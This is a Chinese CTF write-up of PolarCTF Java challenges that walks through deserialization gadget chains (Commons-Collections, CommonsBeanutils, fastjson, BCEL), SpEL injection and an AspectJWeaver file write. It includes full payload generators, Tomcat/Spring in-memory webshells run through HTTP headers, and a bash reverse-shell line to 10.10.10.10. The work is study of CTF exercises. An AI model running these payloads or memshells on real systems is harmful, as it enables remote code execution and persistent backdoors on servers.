PolarCTFjava部分解

前言

ez_CC

复现

这道题啥也没有,挺简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.polar.ctf.util;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

直接反序列化,没有WAF
有依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

之前打的是3.2.1,本地试一下能不能通即可

POC1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.example;
import com.example.util.Tool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11 {
public static void main(String args[]) throws Exception{
//这里打C11,即是用CC链的incokerTransformer->newTransform->TemplatesImpl->Gadgets类
TemplatesImpl templates=gadget();

Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer");


Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,invokerTransformer);
TiedMapEntry TM=new TiedMapEntry(Lmap,templates);
HashSet hs=new HashSet(1);
hs.add("any");

//获取hashset中的hashmap对象属性
Field hsset = HashSet.class.getDeclaredField("map");
hsset.setAccessible(true);
HashMap hsmap=(HashMap) hsset.get(hs);

//通过反射获取HashMap表中的table字段属性
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object[] tablearray = (Object[])table.get(hsmap);
//对node进行初始化
Object node = tablearray[0];
//获取table表中目标元素,也就是要修改的元素,由于序号不同(比如我这是13),写了个直接遍历序号不为null的表示存在Key
for(int i=0;i<tablearray.length;i++){
if(tablearray[i]==null){
continue;
}
node = tablearray[i];
break;
}
//修改元素的key值为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,TM);


byte[] byt=Tool.serialize(hs);
String asd=Tool.base64Encode(byt);
String urlEncodedPayload = java.net.URLEncoder.encode(asd, "UTF-8");
System.out.println(urlEncodedPayload);

}
public static TemplatesImpl gadget() throws Exception{
CtClass clazz =
ClassPool.getDefault().get(com.example.Exp.payload.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sh_eePppp");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
return templates;
}

public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
System.out.println("Field set on class: " + clazz.getName() + " (loader=" + clazz.getClassLoader() + ")");
}

}

打完本地通了,确实可以反弹shell
但是远程不出网,只能打内存马
这边用infernity师傅的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Memshell extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Infernity")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Infernity")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.3.18</version>
<scope>provided</scope>
</dependency>

<!-- Servlet API -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>

<!-- Xalan 依赖 (包含所需的 XSLT 类) -->
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
</dependencies>

成功拿到flag~
flag{cf5fa591bc52e50f25b6269e8d690c13}
如果做题的话填代码就行了,不过理解原理更有助于学习

ezjava

考察spel表达式注入
这里没什么WAF直接T(java.lang.Runtime).getRuntime().exec('whoami')
无回显
一般的反弹shell

1
2
bash -c {echo,xxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}
bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1

但是这道题不出网,由于明确了flag路径:/app/flag.txt
有某种方式可以直接读文件

1
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","ls"}).start().getInputStream(), "gbk")).readLine()

该payload可以回显命令执行的第一行内容,可用于直接读取flag

flag{bfff6d206cbcd6ac0870a4f48c7c313b}

可参考:
https://blog.csdn.net/2301_80115097/article/details/134014498
https://xz.aliyun.com/news/8744

CB链

我翻翻之前咋学CB的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(com.example.Evil.class.getName());
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","xxxx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{clazz.toBytecode()});
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
serilize(priorityQueue);
unserilize("1.bin");

瞄一眼之后转战源码
Build-Jdk-Spec: 1.8java8
依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example.controller;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.example.User;
import org.example.tools.Tools;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request) {
String ipAddress = request.getHeader("X-Forwarded-For");
if (ipAddress == null) {
ipAddress = request.getRemoteAddr();
}

return "Welcome PolarCTF~ <br>Client IP Address: " + ipAddress;
}

@RequestMapping({"/user"})
@ResponseBody
public String getUser(String user) throws Exception {
byte[] userBytes = Tools.base64Decode(user);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User)in.readObject();
return userObj.getUserNicename();
}
}

这里是打啥?是不是可以直接打CC链了,我试一下
本地起一下服务丢给AI打一下ezCC的链子,看看报错
根据报错:**TemplatesImpl.newTransformer() 方法内部访问被拒绝**
似乎不能直接调用该方法,目前两种路径,一种打TrAXFilter.class,另一种打CB链

CC3

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
TemplatesImpl templates = gadget();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 新建一个 HashMap ,没什么意义,仅作为参数传入
HashMap<Object, Object> map = new HashMap<>();
// 初始化利用链 LazyMap,LazyMap 的 get 方法将会调用 chainedTransformer 的 transform 方法
// 为了防止序列化时命令执行,这里先传入一个普通的 ConstantTransformer 对象
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

// 将 TiedMapEntry 的 map 属性赋值为 LazyMap 对象
// 利用链:TiedMapEntry#hashCode() -> TiedMapEntry#getValue() -> TiedMapEntry.map#get()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

// 新建一个 HashMap 对象,将 TiedMapEntry 对象作为 key 传入,之后将会调用 TiedMapEntry#hashCode()
HashMap<Object, Object> map2 = new HashMap<>();
// 序列化时这里将会提前调用 TiedMapEntry#hashCode() ,导致 lazyMap::get()被调用,导致 lazyMap 的 key 属性被赋值
// 于是反序列化调用 lazyMap::get() 时无法进入判断,无法调用 transform 方法
map2.put(tiedMapEntry, "test");
// 为了解决上述问题,HashMap 对象的 put 方法执行后需要去除 lazyMap 中的 key
lazyMap.remove("key");

// 最后利用反射将 LazyMap 的 factory 对象修改为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, chainedTransformer);

CC3的特征就是
未使用invokeTransformer类而是=>TrAXFilter.class&InstantiateTransformer
这里失败了=>”TrAXFilter 类在环境中不存在,这是Xalan相关的类。”

CB链

exp

1
2
3
4
5
6
7
TemplatesImpl templates=gadget();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});

这是CB+CC依赖的版本,也有不依赖CC的纯CB版本
不展示了
本地测试payload成功,但是远程不出网(polar的题都不出网吧)
试试内存马
本地测试存在以下报错分析

1
2
3
4
5
6
关键问题:RequestContextHolder 为空

// 在反序列化环境中,Spring的RequestContextHolder没有绑定当前请求
org.springframework.web.context.request.RequestAttributes requestAttributes =
org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
// 这里 requestAttributes 为 null,导致后续的NPE

这里我们学习一下infernity的手法,不是直接加载内存马,而是类加载器动态加载字节码:MyClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
System.out.println("classData:"+classData);
byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

}
}

加载以下的内存马(base64后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Memshell implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("cmd"); //header cmd
System.out.println(cmd);
if (cmd != null) {

response.setHeader("START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();

// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();

// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("RESULT",result);

} else {
filterChain.doFilter(request, response);
}
}

public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {
dynamicAddFilter(new Memshell(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}

return true;
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

这里用工具获取字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CtClass clazz =
ClassPool.getDefault().get(com.example.Exp.webshell_0.class.getName());
byte[] bytecode = clazz.toBytecode();
String asd= Tool.base64Encode(bytecode);
String urlEncodedPayload = java.net.URLEncoder.encode(asd, "UTF-8");
System.out.println(urlEncodedPayload);
String filePath = "webshell";

try (FileWriter writer = new FileWriter(filePath)) {
writer.write(urlEncodedPayload);
System.out.println("文件写入成功");
} catch (IOException e) {
e.printStackTrace();
}

发包,成功内存马
很cool~

感受

java题本地调试很关键,环境总会在你payload反序列化的哪一步卡你一下,不本地看报错只能远程挠头了

fastjson

我们也系统学习过fastjson的反序列化,里面又细分出一条原生链子,具体看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.polarctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JsonController {
@RequestMapping(
value = {"/"},
method = {RequestMethod.GET},
produces = {"application/json;charset=UTF-8"}
)
@ResponseBody
public Object getUser() {
User user = new User();
user.setName("Polar D&N ~!");
user.setId("2022");
return user;
}

@RequestMapping(
value = {"/"},
method = {RequestMethod.POST},
produces = {"application/json;charset=UTF-8"}
)
@ResponseBody
public Object setUser(@RequestBody String jsonString) {
System.out.println(jsonString);
JSONObject jsonObject = JSON.parseObject(jsonString, new Feature[]{Feature.SupportNonPublicField});
User user = (User)jsonObject.toJavaObject(User.class);
user.setId("2023");
return user;
}
}

显然不是原生反序列化
目前记得有三种方法
先试一下

1
2
3
4
5
6
7
String jsonInput = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"asdas\"],\n" +
" \"_name\": \"sheep\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";

字节码的话就原来哪些即可
注意别url编码了,上传即可

本地显示直接无法调用TemplateImpl,应该是版本问题
另外两种打法一种是RMI,一种是BCEL,后续也会碰到

ezJson

这里看源码,依旧是fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.polar.ctf.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class ReadController {
@ResponseBody
@RequestMapping({"/read"})
public String getUser(String data) throws Exception {
if (data == null) {
throw new IllegalArgumentException("Data cannot be null");
} else {
byte[] b = Base64.getDecoder().decode(data);
if (b == null) {
throw new IllegalArgumentException("Decoded data cannot be null");
} else {
InputStream inputStream = new ByteArrayInputStream(b);
if (inputStream == null) {
throw new IllegalArgumentException("Input stream cannot be null");
} else {
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object obj = objectInputStream.readObject();
JSONArray dataArray = new JSONArray();
JSONObject item = new JSONObject();
item.put("code", 200);
item.put("status", "success");
item.put("obj", JSON.toJSONString(obj));
dataArray.add(item);
return dataArray.toJSONString();
}
}
}
}
}

这里是直接反序列化的,且依赖为

1
fastjson-1.2.83
1
2
3
4
5
6
7
8
9
10
11
12
13
14
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes",new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "y4tacker");
setFieldValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", jsonArray);

HashMap map = new HashMap();
map.put(templates, exception);

详细可见原生fastjson反序列化

到了这里可以生成payload,如法炮制

FastJsonBCEL

1
2
3
4
5
6
public class JsonController {
@PostMapping({"/parse"})
public Object parseJson(@RequestBody String jsonString) {
return JSONObject.parse(jsonString);
}
}

JSONObject.parse和JSON.parseObject一样
存在fastjson反序列化漏洞
看了看依赖,是1.2.24,并没有问题,难道还是照旧?
试了试原来的payload,TemplateImpl没有成功加载进去,既然提示了BCEL,就打这个吧

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

源码中刚好有这个依赖,正好可以打,可见fastjson反序列化

1
2
3
4
5
6
7
public static void main(String[] args)throws Exception{
CtClass clazz =
ClassPool.getDefault().get(com.example.Exp.webshell_2.class.getName());
byte[] bytecode = clazz.toBytecode();
// String asd= Tool.base64Encode(bytecode);
String code = Utility.encode(bytecode,true);
System.out.println("$$BCEL$$"+code);

这里生成一下内存马要求的字节码,原字节码没用,这里用师傅的payload再生成了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.lang.reflect.Method;
import java.util.Scanner;

public class shell {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"Infernity"); //请求头传参
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}

比较了一下,发现最初的内存马兼容性很差,基本需要完整Spring环境

一写一个不吱声

拿到源码,发现依赖aspectjweaver
发现漏洞https://xz.aliyun.com/news/10945
利用AspectJWeaver通过反序列化来进行任意文件写入
简单写各demo调试一下

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>

关键点在于SimpleCache$StoreableCachingMap:
跟进它的put方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[])value;
if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
path = "IDEM";
} else {
path = this.writeToPath((String)key, valueBytes);
}

Object result = super.put(key, path);
this.storeMap();
return result;
} catch (IOException e) {
this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e);
Dump.dumpWithException(e);
return null;
}
}

这里存在任意文件写入
又知这个类继承于hashmao,实则CC链中触发HashMap的put方法,如CC5、CC6皆可
即,存在任意文件写入的漏洞
CC链中通过TiedMapEntry.getValue()触发来LazyMap.get()

看看POC,学习如何传入路径和文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("./", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
Tool.deserialize(Tool.serialize(tiedmap));

如果没有CC依赖,我们又如何来触发该类的put方法呢?
针对这道题来讲,虽说没有CC依赖,但是它提供了一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
HashMap<String, byte[]> a = (HashMap)gf.get("obj", (Object)null);
String name = (String)gf.get("name", (Object)null);
String age = (String)gf.get("age", (Object)null);
if (a == null) {
this.obj = null;
} else {
try {
a.put(name, Tools.base64Decode(age));
} catch (Exception var7) {
var7.printStackTrace();
}
}
}

提供了这么一个类,那直接手搓吧()
这边记得把jar包里classes目录导入为依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example.Test;
import com.example.util.Tool;
import com.polar.ctf.bean.UserBean;

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class Try {
public static void main(String [] args)throws Exception{
System.out.println("try");
String string123="hello world";
byte[] aaa=string123.getBytes(StandardCharsets.UTF_8);
String base64= Tool.base64Encode(aaa);
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap zxc = (HashMap)con.newInstance("./", 1);
UserBean userBean=new UserBean("Sh_eePppp",base64,zxc);
Tool.deserialize(Tool.serialize(userBean));
}
}

成功传入Sh_eePppp文件
现在思考,传入文件如何拿到shell呢? 你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce 出题人的博客https://p0lar1ght.github.io/posts/PolarD&N_CTF_%E4%B8%80%E5%86%99%E4%B8%80%E4%B8%AA%E4%B8%8D%E5%90%B1%E5%A3%B0/
其实挺有意思的,但是没打成功